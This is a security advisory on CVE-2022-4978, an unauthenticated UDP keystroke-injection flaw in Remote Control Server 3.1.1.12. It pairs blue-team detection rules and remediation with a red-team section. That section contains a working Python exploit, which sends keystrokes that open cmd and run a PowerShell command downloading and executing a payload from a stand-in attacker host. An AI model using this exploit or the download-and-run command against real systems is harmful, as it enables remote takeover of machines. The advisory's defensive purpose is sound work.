CVE-2022-4978

Executive Summary

CVE-2022-4978 is a critical vulnerability in the Remote Control Server by Steppschuh, version 3.1.1.12. The server, which defaults to an unauthenticated state, exposes a custom UDP-based control protocol that accepts remote keyboard input events without any verification. An attacker on the same network can send a sequence of keystroke commands to launch a system shell and execute arbitrary commands, leading to full system compromise. The vulnerability is classified under CWE-306 (Missing Authentication for Critical Function) and has a CVSS v3.1 base score of 8.8 (High). No official patch or advisory has been released, and the vendor's status is unknown.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same network as the target.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required.
• Privileges Required (PR): None (PR:N) – No authentication is needed.
• User Interaction (UI): None (UI:N) – No user action is required.
• Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality (C): High (C:H) – Full system compromise leads to data exposure.
• Integrity (I): High (I:H) – Arbitrary commands can be executed.
• Availability (A): High (A:H) – System can be fully controlled or disrupted.

Threat Level: Critical. The default configuration is vulnerable, and exploitation requires only network adjacency.

Deep Dive & Mechanics

The Remote Control Server listens on a UDP port for custom control protocol packets. These packets are designed to simulate keyboard input events. The server does not implement any authentication or verification mechanism for incoming packets. An attacker can craft a UDP packet containing a sequence of keystrokes that, when processed by the server, will:

1. Open a system shell (e.g., by sending Win+R, cmd, Enter on Windows).
2. Execute arbitrary commands (e.g., powershell -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')").
3. Achieve full remote code execution with the privileges of the server process (typically SYSTEM or root).

The vulnerability lies in the lack of authentication for the control protocol. The server trusts all incoming UDP packets as legitimate keyboard input.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable server snippet
import socket

def handle_packet(data, addr):
    # No authentication check
    keystrokes = parse_keystrokes(data)
    simulate_keyboard_input(keystrokes)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 12345))
while True:
    data, addr = sock.recvfrom(1024)
    handle_packet(data, addr)

Patched Code (Conceptual):

# Patched server snippet
import socket
import hmac

SECRET_KEY = b'supersecretkey'

def handle_packet(data, addr):
    # Verify HMAC signature
    if not verify_hmac(data, SECRET_KEY):
        return
    keystrokes = parse_keystrokes(data)
    simulate_keyboard_input(keystrokes)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 12345))
while True:
    data, addr = sock.recvfrom(1024)
    handle_packet(data, addr)

The patched version adds HMAC-based authentication to verify that the packet originates from an authorized source.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import socket
import time

TARGET_IP = "192.168.1.100"
TARGET_PORT = 12345

def send_keystrokes(keystrokes):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(keystrokes.encode(), (TARGET_IP, TARGET_PORT))
    sock.close()

# Example: Open Run dialog, launch cmd, execute command
send_keystrokes("{WIN}r")
time.sleep(0.5)
send_keystrokes("cmd{ENTER}")
time.sleep(1)
send_keystrokes("powershell -Command \"Invoke-Expression (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')\"{ENTER}")

Lab Setup:

1. Install the vulnerable Remote Control Server (version 3.1.1.12) on a Windows VM.
2. Ensure the server is running with default settings (authentication disabled).
3. From a Kali Linux VM on the same network, run the exploit script.
4. Observe that the target executes the commands.

Blue Team

Detection:

• Monitor for unusual UDP traffic on the port used by the Remote Control Server (default port unknown, but typically in the range 10000-65535).
• Look for patterns of keystroke simulation commands in network traffic.
• Use process monitoring to detect unexpected shell launches (e.g., cmd.exe, powershell.exe).

Hunting:

• Search for processes that accept UDP connections and simulate keyboard input.
• Check for unauthorized remote desktop or control software.

Indicators of Compromise (IOCs)

• Network: UDP packets to/from the Remote Control Server port (e.g., port 12345) containing keystroke sequences.
• Process: Unexpected cmd.exe, powershell.exe, or other shell processes spawned by the Remote Control Server process.
• File: Presence of downloaded payloads in temporary directories.
• Registry (Windows): Changes to startup keys or services.

Detection Engineering

YARA Rule

rule CVE_2022_4978_RemoteControlServer {
    meta:
        description = "Detects Remote Control Server binary with default authentication disabled"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-4978"
    strings:
        $s1 = "Remote Control Server" wide ascii
        $s2 = "UDP" wide ascii
        $s3 = "authentication disabled" wide ascii
    condition:
        all of them
}

Sigma Rule

title: CVE-2022-4978 Remote Control Server Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic indicative of CVE-2022-4978 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\RemoteControlServer.exe'
        Protocol: 'UDP'
    condition: selection
falsepositives:
    - Legitimate use of the software
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2022-4978 Remote Control Server Exploitation"; content:"|7b 57 49 4e 7d|"; distance:0; within:5; sid:1000001; rev:1;)

Note: The content pattern {WIN} is an example; adjust based on actual keystroke encoding.

Remediation & Mitigation

1. Immediate: Disable the Remote Control Server if not needed. If required, enable authentication (if available) or restrict network access via firewall rules to trusted IPs only.
2. Network Segmentation: Isolate the server on a separate VLAN with strict access controls.
3. Monitor: Implement detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.
4. Vendor Contact: Attempt to contact Steppschuh for a patch. If no response, consider replacing the software with a secure alternative.
5. User Awareness: Ensure users do not run the server with default settings.

Valters IT